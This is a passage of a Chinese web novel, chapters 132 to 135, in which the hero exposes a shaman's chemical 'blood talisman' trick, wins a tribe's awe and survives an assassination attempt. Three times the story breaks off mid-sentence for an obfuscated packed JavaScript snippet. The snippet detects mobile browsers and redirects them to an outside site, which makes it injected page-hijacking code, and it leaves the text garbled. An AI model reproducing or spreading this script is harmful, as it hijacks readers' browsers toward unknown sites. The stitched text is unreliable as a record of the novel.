就在这时,萧复梁回来了,身后还跟着一个方脸中年男人,和萧复梁简直就是一个模子刻出来的。
但是此人身形要比萧复梁雄厚高大得多,膀大腰圆,气息雄壮,身披虎皮,似一座铁塔。
“这是我舅舅,萧灭虞。”
萧南乐悄摸给薛猛说了这么一句,随后便退开避嫌,继续装作不认识薛猛的样子。
萧灭虞大踏步朝薛猛走了过来,目光扫视着一群白马义从,嘴里焦急询问:“大夫呢?你们给族母找的大夫呢?!”
“爹,大夫就在你面前啊!”
萧复梁指了指薛猛。
萧灭虞闻言一怔,随即低头一看:“什么?”
“你是说,这么个嘴上没**,嫩得能掐出水来的小娃娃,是大夫?”
萧灭虞脸色黑沉如锅底,反手一巴掌扇在萧复梁头上:“混账!你跑出山去,就给我找这么个货色回来?!”
“这种玩笑,你也敢开!”
萧复梁被亲爹蒲扇大的巴掌,打得嗷嗷叫,但却不敢反手,哪里还有半分先前白马义从领头人的威严?
萧南乐见状,连忙上前劝道:“舅舅!表哥没有说笑,这位薛猛薛公子,的确是我们请回来的大夫!”
萧灭虞闻言,一脚踹开萧复梁,这才转头打量起薛猛。
萧南乐从不说笑,连她都这么说,难道这小年轻,真是大夫?
盯着薛猛看了半晌,萧灭虞啧了一声,始终觉得不靠谱:“你个小娃娃,真懂医术?”
薛猛不卑不亢,直视对方,点了点头:“略懂亿点!”
“只是略懂一点可不行,我要的是能治百病的神医!”
“您误会了,我是略懂亿点,不是略懂一点!”
“???”
“有区别吗?!”
虽然薛猛说话怪怪的,但见他神情这般自信,又想起族母越来越严重的怪病,萧灭虞倒是犹豫了起来。
要不然,让这小子试试?
“啊!”
恰在这时,村子中央最大的一座毡房里,传来凄厉的嚎叫声。
“妖怪,别过来!”
薛猛循声侧目,虎目微眯。
萧灭虞则是瞳孔一缩,额角垂下冷汗:“糟了!族母又发病了!”
第132章 雷来!
“……”
屋内五名年轻巫师,手里抓着做法用的师刀,虎视眈眈地盯着进屋的薛猛,但却不敢轻易靠近。
于是,一个好笑的名场面出现了:薛猛每向前踏一步,他们就往旁边退一步!
刚才薛猛踹飞两名巫师的惊人身手,他们已经亲眼见识过。
谁都不想步刚才那两个巫师的后尘!
“你们不是号称能沟通鬼神吗?”
“怎么还怕挨打啊?”
扫了眼对方色厉内荏、外强中干的怂包样子,薛猛不屑冷笑。
面对薛猛冷漠的目光扫视,几名年轻巫师无不是脊背发寒,汗**倒竖,根本不敢和薛猛对视!
薛猛冷嗤一声,径直来到老巫师面前,怼脸输出:“还有你个死老头儿!”
“再几把装神弄鬼,**病人,当心老子给你一电炮!”
“大胆!”
萧灭虞回过神来,连忙冲进屋内,护在了老巫师身前:“你这厮,休得对我们大祭司无礼!”
“什么大祭司,他就是个老骗子!”
薛猛来到木柱后面,解开捆住族母的绳子,噗通一声,被折磨得精疲力竭的族母,脱力一般,瘫坐在了地上。
宋婉儿连忙上前,替族母把脉。
薛猛指着族母脸上的鸡血和身上的鞭痕,对萧灭虞说道:“你自己看看,这都把老太太折腾成什么样了?”
“这个老骗子,要是真能治好老太太的病,你们干嘛还要找我来?”
“难不成,请我来看他跳大神?”
薛猛此言一出,萧灭虞顿时语塞。
实际上,萧灭虞也不认为大祭司真能治好族母,所以才派人冒险出山,寻医问药!
看着族母满脸的鸡血,萧灭虞扭头对老巫师皱眉问道:“大祭司,这到底是怎么一回事?先前族母不是晚上才发病吗?怎么现在白天也发病了?”
“您这法事,到底有用吗?”
面对质疑,老巫师并没有直接回答,反是怒声冷嗤。
“你们竟敢质疑本祭司?”
“好!我就让你开开眼!”
老巫师从族母额头上一把揭下黄符纸。
而后来到旁边的矮桌前,将符纸铺在桌面上。
紧接着拿起一把师刀,含上一口老黄酒,朝师刀上喷去。
口中念念有词,踏着禹步,挥舞师刀,忽而目中精光一闪,挥刀斩向桌上的黄符纸!
刷!
顿时之间,黄符纸之上显现出一道刺眼的血痕!
刷刷刷!
老巫师接连斩出几刀,黄符纸上血痕越来越多…
眼睁睁看着一张普普通通的黄符纸,居然被斩出了血,屋内众人全都看傻了眼。
便是对大祭司颇有微词的萧复梁,此时看向老巫师的眼神,都变得敬畏起来。
“妖鬼!还不快快显出原型!!”
老巫师又含了一口老黄酒,喷在黄符纸上。
纸上顿时显现出一个血红的“鬼”字!
“天呐!真的有妖鬼?”
“那还有假?妖鬼都显灵了!!”
“这是神迹!大家快跪下!”
看见纸上显现出血字,屋内众人沸腾了。
先前还对大祭司略有不满的萧灭虞等人,皆是满脸惶恐,齐齐跪拜在地。
就连宋婉儿看见眼前这堪称神迹的一幕,也是小嘴微张,下意识想要跟着跪下去。
但最终还是被薛猛一手拽住,强撑着身子,没能跪下去。
这老骗子的鬼把戏,能唬得住这些愚昧的古人,但却逃不过薛猛的法眼!
其实这种江湖把戏,在前世早就被人揭穿了。
原理非常简单,其核心就在于喷在刀上的那口老黄酒和黄符纸。
酒是用姜黄粉泡的,符纸是涂了碱水后晾干的。
姜黄酒和碱类物质碰在一起,就会发生反应,变得鲜红如血,看上去就像是人血一样!
往刀上吐一口姜黄酒,再在涂了碱水的符纸上轻轻一划,自然就会出现“流血”的神迹!
至于那个血红“鬼”字就更简单了,提前用毛笔沾碱水在符纸上写一个鬼字就可以了!
一口姜黄酒喷上去,血字自然就显现出来!
前世小学生都懂的小把戏,却把这帮子古人耍得团团转!
这就是不懂科学闹的笑话!
不过,薛猛并没有马上当众戳穿老骗子的鬼把戏,而是静静看着这老骗子装比。
等这家伙把戏唱完了,再狠狠打他的脸!
他现在越嚣张,待会儿就死得越惨!
见众人都被自己这一手“斩鬼法术”吓得跪拜在地,老巫师冷笑一声,开始胡诌八扯:“族母是被妖鬼上了身,所以才会神魂颠倒,胡言乱语!”
“这妖鬼在山野间修行了数千年,害了不少人,道行极深,本祭司一连十日,与其斗法,都未能成功将其驱逐!”
“今日吾不惜耗费十年阳寿,请下打鬼神鞭,方才将族母身上的妖鬼赶入收鬼符中!”
“方才我用师刀斩符,便是那妖鬼在流血!”
“现如今,我已彻底将其斩杀!”
“自今日起,族母便可安然无恙!”
说着,老巫师将符纸丢进火盆中,焚为灰烬!
“大司马,你现在还认为,本祭司的法事没用吗?”
老巫师逼视萧灭虞,反问道。
这老骗子说得煞有介事。
要不是薛猛经历过九年义务教育,说不定还真和这些撅着屁股跪一地的古人一样,被这老骗子忽悠住了!
萧灭虞更是佩服得五体投地,跪在地上,想起先前自己居然敢质问大祭司,额头上的冷汗吧嗒一下掉落在地。
“大祭司神通广大,我等凡夫俗子愚昧,不该顶撞大祭司!”
萧复梁一咬牙,指着薛猛说道:“大祭司,我们从来没说过你是骗子,我们一直都尊敬着您!都是这个外山人,在这里胡说八道,蛊惑了我们!”
“哼!”
老巫师兽皮大袖一挥,背过身去,语气阴鸷:“别以为本祭司不知道!你们根本就不信任我,甚至违背祖训
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313096|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,跑到山外去找大夫!”
“你们这样的行为,不仅是对我的亵渎,更是对神明的亵渎!”
“如果你们不想受到神明的诅咒,就赶快处死这个大言不惭,顶撞神明的山外人!”
老巫师回过头来,目露凶光,手中带血师刀直指薛猛。
整个人身披鸟羽制成的黑色法衣,像一只成了精的大乌鸦。
这……
众人闻言一怔。
处死薛猛?
大老远把人家请来看病,现在却要处**家?
宋婉儿吓得娇躯颤抖,扭头看向薛猛。
而薛猛则是与老巫师四目相对,二人目光犹如无形刀剑,在空气中悍然交锋,擦出激烈火花。
“大祭司!这位薛公子也是好心来为族母看病!”
“虽然不慎顶撞了你,但念在他是外山人不懂规矩的份儿上,你就饶了他这次吧!”
事到如今,萧南乐也顾不上避嫌了,连忙起身,替薛猛求情。
“正因为他是外山人,就更不能让他活着离开!”
“若是让他活着离开这里,向大虞朝廷泄露了我们的存在!”
“我们所有人都会死!”
轰!
老巫师此言一出,犹如闷**响。
一时间,屋内所有人看向薛猛的眼神,都变得锐利凶狠起来。
萧复梁、萧灭虞父子,纷纷抽出刀剑,带着一群白马义从,起身朝薛猛围了上来。
身后密集脚步声响起,门外偷听的村民,手里拿起农具、木棒,堵住了薛猛的退路。
老巫师一句话,便将薛猛置于死地!
宋婉儿额角冷汗直冒,身上衣服全被汗水湿透了。
这可怎么办?
萧南乐连忙替薛猛开解道:“不是这样的,你们误会他了!薛公子不是这样的人!”
“如果他要向大虞朝廷告状,上次出去就已经……”
突然,萧南乐捂住了自己的嘴,不敢再说下去。
意识到自己情急之下说漏了嘴,但已经晚了!
“乐儿!你说什么?难道这小子早就到过咱们这儿?而且你还放跑了他?”
“表妹,你简直是胡闹!”
萧灭虞父子俩最先反应了过来。
现在,他们更加不可能放过薛猛了!
“一群蠢货!被老骗子当枪使,还不自知?”
一声爆喝突兀响起。
众人一惊,齐齐转头看向薛猛。
只见薛猛目光冷漠,身形如剑,从药箱里掏出一个竹筒,另一只手拿着火折子。
“你们不是相信法术吗?”
“老子今天就让你们开开眼界,什么叫做真正的‘法术’!”
“天蓬有敕,部领雷公!轰雷掣电,证吾神通!”
“雷来!”
随着薛猛并指如剑,一声大喝,将点燃引线的喷火雷朝半空中抛去!
砰!
一声巨响如雷贯耳。
毡房顶直接被掀开一个大洞!
强烈的闪光,飞散的流火,如天降雷霆,几乎闪瞎了众人狗眼。
第133章 我不是神仙
“砰!轰……”
喷火雷引爆的瞬间,真如旱**霆!
巨响之声,震耳欲聋!
火光照亮了一张张写满震惊和惊恐的脸。
“神仙饶命!”
“神仙饶命!!”
先前对薛猛虎视眈眈的大梁族人,全部吓傻了。
也不知道是谁先带的头,所有人都丢下了手中武器,噗通一声跪倒一片,对着薛猛一个劲地磕头求饶。
一个个把头都磕出了血,也不敢稍有停歇,唯恐薛猛一个不高兴,降下雷霆劈了他们!
萧灭虞目光震颤,萧复梁满脸惊恐,萧南乐双目失神,宋婉儿近乎呆滞。
就连先前被老巫师折磨得奄奄一息的族母,此时也被**声惊醒。
抬起一双老眸,望着人群中央接受众人跪拜的薛猛。
**后的烟尘逐渐散去,一束阳光,从屋顶的大洞投下,映照在薛猛身上。
年仅十九岁的少年,一身玄衣锦袍,身形挺拔,傲立于场中。
阳光照在身上,虽然看不清面目,但身上却泛起淡淡紫晕。
宛若天神降世,英武不凡!
“老天爷显灵了……”
“紫微帝星下凡,降下雷霆之怒,诛灭邪魔妖鬼,拯救天下苍生!”
“老身有救了,大梁有救了!”
族母喜极而泣,老泪纵横,激动得直接昏了过去。
而先前蛊惑众人,要处死薛猛的大祭司,此时已被眼前的一幕惊得肝胆欲裂,站都快站不稳了。
装神弄鬼一辈子,没曾想今天遇上了真神仙?!
跟薛猛驱雷掣电的神通相比起来,他先前的“斩鬼”小把戏算个屁呀。
小巫见了大巫,大祭司瞬间汗流浃背,知道自己再继续待下去,无非就是颜面扫地的下场!
还不如赶快开溜!
目光瞥向门口,便准备迈步。
“老骗子!你还想跑?”
然而就在这时,薛猛直接开口叫住了他。
听到薛猛的怒喝,大祭司身子一哆嗦,僵在了原地。
顿时之间,无数道目光齐刷刷聚焦到他身上。
大祭司就像下水道里爬出来的老鼠,暴露在了阳光下,顿觉无地自容。
“你,你叫谁骗子?!”
大祭司定了定神,厚着脸皮,故作镇定,扭头看向薛猛。
“谁答应我,谁就是老骗子,我又没指名道姓!”
薛猛此言一出。
宋婉儿忍不住噗嗤一声笑出声。
的确,薛猛压根没有指名道姓,是这老头儿自己心虚,对号入座,下意识认为薛猛在叫他!
“你……”
大祭司意识到自己被薛猛耍了,瞬间满头大汗。
薛猛踏前一步,口中冷嗤:“我什么我!你是不是骗子,你自己最清楚!”
“别以为你那点小把戏,能骗得了我!”
“啊,我杀了你!”
不等薛猛说完,大祭司恼羞成怒,目露凶光,抓起师刀,径直朝薛猛心口刺来。
下一刻,只听咣当一声。
师刀脱手落地。
薛猛仅用一只手就把凶相毕露的大祭司,掀翻在地,一只脚踏在他的背上。
嘎巴一下,随手扭脱了他的肩关节。
“啊……”
大祭司趴在地上,痛得直抽抽。
薛猛看都懒得多看这老骗子一眼,这种死老头,他闭着眼睛随便打。
“大家都睁大眼睛看好了!”
薛猛捡起地上的师刀,又从老骗子身上搜出几张忽悠人的黄符纸。
来到矮桌前,端起桌上老黄酒含了一口,往师刀上一喷,随后用刀在黄纸上轻轻一划。
刷!
一道血迹顿时显现而出。
紧接着薛猛用刀,在纸上写起了字,什么鬼呀妖呀,想写什么写什么。
看到这一幕,先前对大祭司深信不疑敬畏有加的大梁族人,全都看傻了眼。
这是怎么一回事?
“你们还不明白吗?”
见众人还没反应过来,薛猛索性揭穿了其中内幕:“所谓的妖鬼显灵,不过是一些下三滥的骗术罢了!”
“这老黄酒里加了姜黄粉,这符纸上涂了碱水!”
“这两样东西碰在一起,就会变成血红色!”
“根本就不需要什么法力!”
说着,薛猛直接随机抓了个小孩儿,让他也当众试了试。
结果果然和薛猛说的一样,谁都可以在黄纸上划出“血痕”,压根不需要法力。
接下来大家全都争先恐后上前试了试,终于后知后觉,醒悟了过来!
“原来如此!”
“大祭司根本就没有沟通神鬼的法力!”
“这些把戏,都是骗我们的!”
“亏我们还一直敬重着他……太过分了!”
眼睁睁看着薛猛,当众揭穿了自己的鬼把戏,大祭司瞬间丧失了一切力气和手段。
像被抽去灵魂的行尸走肉,趴跪在地,瑟瑟发抖,眼里满是绝望和惶恐。
薛猛目光湛湛,对“觉醒”的众人说道:“现在你们明白
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313097|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了吧?这世上根本没有妖魔鬼怪,只有丑恶人心!”
“与其求神拜佛,不如自己动手!”
“我薛猛也不是什么神仙!”
“刚才的**,也不是什么雷法,而是科学的力量!”
“你们好好回想回想,这些年,你们这位所谓的大祭司,做的法事,到底有几次是灵验的?又有哪些事情,纯粹是瞎猫碰上死耗子?”
听了薛猛的话。
萧南乐陷入沉思。
萧灭虞神情复杂。
越来越多人皱起眉头,开始回忆反思。
“我想起来了!我全想起来了!!!”
萧复梁反应最为激烈,指着大祭司泼口骂道:“我五岁那年晚上经常做噩梦,就是你这个死老头子,说我是中了邪,要给我做法驱邪!”
“所谓的驱邪方法,就是把我捆住床上,抓毒蛇咬我的小吉!”
“害得我的小吉现在都不好使!”
回想起不堪的童年往事,萧复梁近乎疯狂,掐住大祭司脖子,上去就是一顿胖揍。
还有几个妇人也鼓起勇气站了出来,哭诉起被大祭司欺负的不堪往事。
不说不知道,一说吓一跳!
原来这些年,大祭司假借做法事之名,欺负了不少人,男女老少都不放过!
甚至还有几个少女,被他弄大了肚子,又被他用**打掉,还骗她们说是除掉了邪祟。
因为胡乱治疗,导致不少明明有救的病人惨遭横死,还谎称是天要收他们。
可以说是罪行累累,罄竹难书!
但因为大祭司的地位在大梁至高无上,加上他时常弄些“神奇”的鬼把戏,大家都相信他有法力,十分敬畏他,一直不敢揭穿他的真面目。
今日若不是薛猛当众撕开了他伪善的面具,这些不为人知的丑恶秘辛,恐怕这辈子都不会被人知道!
说不定,大家还会像以前一样,将这头披着人皮的老恶魔,奉若神明供着呢!
“岂有此理!”
听到众人的哭诉,一向敬重大祭司的萧灭虞脸色黑如锅底,握紧拳头,怒不可遏!
尤其是在得知自己儿子,也曾遭过这老家伙毒手。
更是险些咬碎牙齿!
“来人,给我将这欺世盗名的老骗子,绑起来,点天灯!!”
点天灯?!
听得这三个字,大祭司两眼一黑,直接吓晕了过去。
这是大梁最残酷的极刑!
只有罪大恶极,十恶不赦的恶人,才会被处以这种极刑!
第134章 杀了薛猛
所谓点天灯,就是把犯人的头顶天灵盖打个洞,往里面灌桐油,再插入浸泡了桐油的草绳。
然后将人吊起来,点燃草绳,就像油灯一样慢慢燃烧。
灯灭人死。
而往往这个过程,十分漫长,甚至可以长达三天三夜。
这种酷刑,比什么**、绞刑,还要痛苦百倍!
纯粹就是折磨!
但在场所有人,没有一个人同情大祭司。
眼睁睁看着两名孔武高大的白衣义从,一左一右将水裆尿裤,昏迷不醒的大祭司架了出去,无不是拍掌叫好!
看着地上留下的一滩尿。
几名追随大祭司的年轻巫师,全都跪在地上双目失神,瑟瑟发抖。
这些年,他们跟着大祭司,也没少干坏事。
而现在,报应到了!
大祭司及其羽翼装神弄鬼的把戏,被薛猛彻底终结。
大梁族人对薛猛奉若神明,敬畏有加。
虽然薛猛说他不是神仙,但大家却坚信他就是神仙!
如果不是神仙,怎么会驱雷掣电?
萧灭虞对薛猛的态度也是一百八十度大转弯,恭敬无比地请薛猛为族母看病。
还向薛猛承诺,不管薛猛能不能治好族母的病,都会重金酬谢薛猛。
至于先前被白虎吃掉的那匹龙驹马,也不会再行追究。
“薛公子,族母的脉象看起来没什么问题,我,有些拿不准。”
宋婉儿替昏迷不醒的族母把完脉,柳眉轻皱,满脸为难。
“起开,我来!”
薛猛让宋婉儿腾出位置,亲自坐下,替族母把了把脉。
又翻开族母的眼皮,检查了一下眼白和眼球。
捏开族母的嘴,看了看舌苔。
经过一番细致地望闻问切后,薛猛给出了自己的诊断。
“没病!”
“啊?”
萧灭虞等人听了薛猛这话,全都愣住了。
萧南乐蹙眉问道:“族母晚上不睡,白天到处乱走,胡言乱语,大叫有妖魔鬼怪缠着她,怎么会没病?”
“真没病!”
薛猛斩钉截铁道:“把大祭司宰了,她这病就好了!”
“什么?”
众人先是一怔,随即反应了过来。
搞了半天,族母根本就没有病!
这一切都是大祭司在从中捣鬼!
“大祭司为什么要这么做?”有人疑惑问道。
薛猛想了想,说道:“我想动机很简单。”
“老骗子常年白吃饭不干活,受你们的供奉,隔三岔五总得制造机会,显示一下自己的法力和本事,让你们心甘情愿养着他们!”
“而族母年迈体衰,德高望重,自然就成了他们下手的目标!”
“可怜了这个老太太,硬是被折腾得浑身是伤,奄奄一息,有苦说不出。”
“这事儿放在任何人身上,都得破口大骂!”
“族母发狂,骂妖魔鬼怪缠着她,实际上骂的就是大祭司这一伙人!”
“可你们在大祭司的蛊惑下,居然还真以为有什么妖鬼上了族母的身!”
众人听了薛猛的解释,皆是满脸惭愧。
回想起这些天族母说的那些“胡话”,或许根本就不是胡话,而是她内心真正的想法!
只是大祭司一直把族母关在屋里,不许别人靠近,大家一直被蒙在鼓里。
若不是薛猛今日踹开了房门,揭穿了大祭司的鬼把戏,族母说不定真会被这伙骗子活活折腾死!
“开点补药给老人家吃吃吧,被这么一顿折腾,就是没病,也被整出病来了。”
薛猛叹了口气,让宋婉儿从药袋里取出人参、朱砂、茯苓。
这三味药既能补身子,又能帮族母好好压压惊。
用药后不久,族母便缓缓醒转过来,面色也红润了许多。
看见坐在床边给自己喂药的薛猛,老太太老眸一颤,连忙就要起床给薛猛下跪,嘴里诚惶诚恐喊道:“使不得!使不得啊!”
“老身何等何能,敢让紫薇大帝亲自喂药!”
“折煞老身了!”
“老人家,你这是做什么?”
老太太突如其来的举动,倒是把薛猛吓了一跳,连忙伸手扶住对方。
族母指着满屋子的族人喝骂道:“你们这些有眼不识泰山的不肖子!还愣在这里做什么?平日好酒好肉供奉着那些邪魔妖鬼,比谁都殷勤!”
“如今救苦救难的紫薇大帝大驾光临,你们却有眼无珠!”
“还不赶快去杀羊宰牛,给大帝赔罪!”
萧灭虞连忙点头:“好好好!族母教训得是!您老先消消气,切莫气坏了身子!”
“我们这就去准备篝火晚会!”
“一来为你‘病愈’冲喜,二来给薛神仙赔罪!”
大家一口一个神仙,倒把薛猛整得不好意思了,他已经解释了很多次,自己不是神仙,但都无济于事。
“老人家,您言重了!我真不是紫薇大帝下凡!”
“我只是一个什么都略懂亿点的普通人。”
薛猛坦白道。
族母才不管那么多,认定了薛猛就是神仙,一把鼻涕一把泪不停求他救救大梁,救救天下苍生。
薛猛嘴角暗抽,不知道该怎么回答。
大虞都快没了,还救大梁呢?
至于天下苍生,他哪里管得了那么多?
白虎乡这一亩三分地还没整明白呢。
见族母已经没事了,薛猛本来打算就此告辞离去,奈何族母非要留他下来,参加晚上的篝火晚会!
盛情难却,薛猛只好留下了。
……
夜幕降临,贡嘎草原上,点起了篝火。
女子们头戴鸟羽,腰围草裙,围着篝火载歌载舞,庆祝族母“大病得愈”,同时也是欢迎薛猛的到来。
竹节杯里盛满马奶酒,醇厚香浓。
火塘边,大块的牛羊肉,炙烤得吱吱冒油,肉香四溢。
水草丰美的贡嘎草原,孕育出的牛羊肉,鲜甜可口,不需要加什么佐料,也几乎吃不出腥味。
哪怕薛猛大鱼大肉吃腻了,对肉的渴望并不大,也觉得这肉很好吃。
吃着吃着,薛猛注意到,有几道目光正注视着自己。
抬头一看,只见白天赶马群的半大小子,正眼巴巴望着他手里的烤羊排,狂咽口水。
许多围坐在火塘边的白马义从,看着火塘边的牛羊肉,也都馋得直流口水,但却没有一个人敢轻动。
薛猛抓起一块羊排,递给身边的半大小子:“你们吃啊,光看着**嘛?难不成,想吃我呀?”
半大小子一怔,受宠若惊,刚想伸手接,但又想起大司马的叮嘱,连忙摆手:“不了!薛神仙,你吃吧!我不饿!”
薛猛啧了一声,这倒奇了,哈喇子都流一地了,还不饿?
萧南乐解释道:“薛公子,咱们这里的牛羊,都是驯养的野牛和野山羊,数量有限。”
“在我们族人眼里,这些肉食十分珍贵!以往都要留给大祭司供奉神明!”
“神明吃剩下的,我们才能吃!”
“你现在就是大家心目中的神仙,你吃完了,我们才能吃!”
“呵!我要真是神仙,我还用吃饭拉屎啊?神仙吃没吃到牛羊肉不知道,老骗子那伙人肯定是没少吃!”
薛猛满脸讽刺。
听见薛猛这话,宋婉儿忍不住噗嗤一笑。
薛公子这话,虽然粗俗,但却一针见血!
大家闻言,也都低眉沉思起来,好像是这个道理!
真正的神明吸风饮露,辟谷不餐,哪里还需要牛羊肉供奉?
可在此之前,他们从来没有这么去想过。
大祭司怎么说,他们就怎么信!
现在仔细一想,说不定这些年供奉的牛羊肉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313098|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,全进了大祭司和他那些手下的肚子里!
“吃吧!菩提只向心觅,何劳向外求玄?真正的神明,就住在人体的五脏庙里!”
“神都是人封的!”
“咱们吃好喝好,才叫做供奉神明!”
薛猛往烤肉上撒了一把香料,分给众人。
平日大家都舍不得吃这么多肉,更何况是撒了香料的烤肉,一个个馋得直流口水。
听薛猛这么一说,大家也不再矜持,吃得那叫一个狼吞虎咽,满嘴流油。
远处,被吊在歪脖老树上,扒光衣服的大祭司,眼睁睁看着和众人谈笑风生,大口吃肉喝酒的薛猛,心中无比嫉恨。
原本坐在那里,享用美酒牛羊,受到众人尊敬拥戴的人,应该是他!
而现在,属于他的一切,都被薛猛这个外山人夺走了!
萧复梁手拿刑具,狠狠拍打着大祭司的老脸:“怎么,你个老骗子!死到临头,还不服气啊?”
大祭司扭头看着准备给他用刑的萧复梁,忽然冷笑出声:“呵呵!”
“彼其娘也!你还敢笑?!”
萧复梁对眼前这个老骗子恨之入骨,童年的阴影像梦魇一样萦绕他心头,这辈子都无法治愈。
所以他才主动请求,亲自给这老家伙“点天灯”,以泄心头之恨!
大祭司脸上浮现出一抹阴鸷笑容:“少将军啊少将军,我知道你恨我。”
“但你难道就不恨那个姓薛的外山人吗?”
“我恨他做什么?”
萧复梁冷哼:“要不是他揭穿了你的鬼把戏,我们现在还被你当猴耍呢!”
“呵呵,少将军,别自己骗自己了!”
大祭司一双老眸仿佛看穿了萧复梁内心,冷笑道:“他难道还没看出来么?那姓薛的小子,和长公主早就认识了!”
“你睁大眼睛好好看看,他们两个那股热乎劲儿,都快贴在一起了!”
“你不是一直喜欢长公主吗?”
“现在长公主被那小子迷得神魂颠倒,你难道就不担心长公主被他拐走?”
“你胡说!”
萧复梁闻言一怔,随即连忙否定:“我跟我表妹之间,是单纯的兄妹之情!我对她,没有半分非分之想!”
“呵!这话,你自己信么?你只不过是那玩意儿不中用,不敢向长公主表达爱意!”
大祭司这番话,无疑是触及了萧复梁内心深处的隐痛!
“混蛋!我现在这幅样子,还不是拜你所赐!”
萧复梁双目血丝交织,近乎癫狂,一把掐住了大祭司的脖子,恨不得活活掐死这个老王八蛋。
“咳咳……”
见萧复梁成功被自己激怒,大祭司咧嘴一笑,艰难地张了张嘴,抛出了让对方无法拒绝诱饵。
“老夫有办法,让你重振雄风!你杀了我,这辈子都别想知道这个办法!”
“……”
果不其然,听见这句话,先前暴怒的萧复梁,目光一怔,顿时松开了手。
“你还想骗我?”
“本祭司从不骗人。”
“你个老骗子,还有脸说这话?!”
“既然你不信我,那你现在就杀了我吧!然后就眼睁睁看着你心爱的女人,爬进那姓薛的小子被窝吧!”
“好!我信你!!!!”
一想到自己心爱的表妹爬进别的男人被窝,被别人蛄蛹。
而自己身为男人,却又无能为力。
萧复梁顿时心如刀绞!
最终,他还是没能扛住蛊惑,一刀割开了捆住大祭司双手的绳子。
强忍心中愤怒,对其问道:“大祭司,你要我怎么做?”
大祭司平稳落地,拧了拧被捆得发红的手腕,眼底闪过一抹阴谋得逞的笑意。
抬眸看向远处喝得醉醺醺的薛猛。
眼冒凶光,牙齿缝里冷冷迸出一句:“我要你,杀了那小子!”
第135章 白虎佑主
马奶酒口感酸甜,入口顺滑,让人很容易喝多。
但这玩意儿后劲儿不小。
火塘边,众人已是喝得酒酣耳热,不少人都倒在草地上呼呼大睡起来。
萧南乐和宋婉儿也喝醉了,身子一软,一左一右靠着薛猛肩膀睡去。
薛猛酒酣耳热,迷迷糊糊,只觉两具软乎乎热烘烘的身子紧紧贴着自己,下意识还以为自己已经回了家。
“雅娴……瑾儿…咦,你们怎么变大了。”
薛猛抱着两具娇躯,两只手抓圆捏扁的同时,嘴里还含含糊糊喊着自己两个老婆的名字。
全然没有察觉到,一把冰冷的屠刀,悄然而至。
月色下,萧复梁手提割鹿弯刀,眼睁睁看着薛猛抱着自己心爱的表妹,目赤欲裂,眼中几乎快要滴出血来!
大祭司冷笑:“呵呵,少将军,老夫没说错吧?这小子没安好心!你还等什么,还不快动手宰了他?”
周围众人醉倒一片,草原上无比寂静。
只有火塘里燃烧的柴火,不时劈啪作响。
萧复梁面色黑沉,咬牙切齿,瞅准薛猛的脖子,举起了手中割鹿弯刀!
趁大家都喝醉了!
杀了薛猛!
也没人会知道!
“就算你是神仙又如何?敢动我表妹,我就……弑神!”
萧复梁额角青筋暴起,心中发狠,手中弯刀径直朝着薛猛脖子落下!
“吼!!!”
就在这时,一声闷雷般的骇人虎啸突兀响起。
虎啸之声滚滚而来,方圆三里开外的鸟雀走兽全都吓得纷飞逃窜!
“唏律律!!”
马圈里的马群,也都扬起蹄子,发出了惊恐嘶鸣。
萧复梁大惊失色,扭头一看。
只见前方不远处,不知何时出现了一只狰狞白虎,虎眸凶光闪迸,宛若一道白色旋风,朝他狂奔过来。
原本喝醉倒地的众人,全都被这突如其来的虎啸声惊醒了!
当大家看见一只白虎朝村子冲了过来,无不是吓得肝胆欲裂,惊慌失措。
不少女子吓得失声尖叫。
“啊!大虫来了!”
大祭司见势不妙,连忙趁乱溜了。
留下萧复梁愣在原地。
听到虎啸和尖叫声,薛猛也是缓缓睁开了醉眼,见自己怀里抱着宋婉儿和萧南乐,顿时一惊,慌忙推开二人。
随即。
薛猛注意到了手提弯刀,站在自己面前的萧复梁,以及正往这边冲过来的白虎。
“小白!你小子怎么来了?”
薛猛醉醺醺地打着酒嗝,站了起来,拦住了想要攻击萧复梁的白虎。
白虎虎爪刨地,胡须飞扬,一双湛蓝虎眸,死死盯着萧复梁手里的刀。
薛猛察觉出一丝不对,扭头看向萧复梁。
萧复梁额角垂下一滴冷汗,回过神来后,悻悻然将弯刀收入鞘中,避过薛猛的目光,转头走开。
薛猛皱了皱眉,这家伙,拿把刀干啥呢?
“小白,不许伤人!”
薛猛也没多想,而是教训起白虎来。
“嗷呜……嗷呜!!”
白虎死死盯着萧复梁离去的背影,又蹭了蹭薛猛的裤腿,似乎想要告诉薛猛什么。
奈何语言不通,薛猛还以为它只是在撒娇。
而周围原本惶恐不已的众人,见白虎在薛猛面前,温顺得像只大猫,逐渐平静了下来。
看见薛猛驯服白虎的一幕,众人无不是满脸震惊,啧啧称奇。
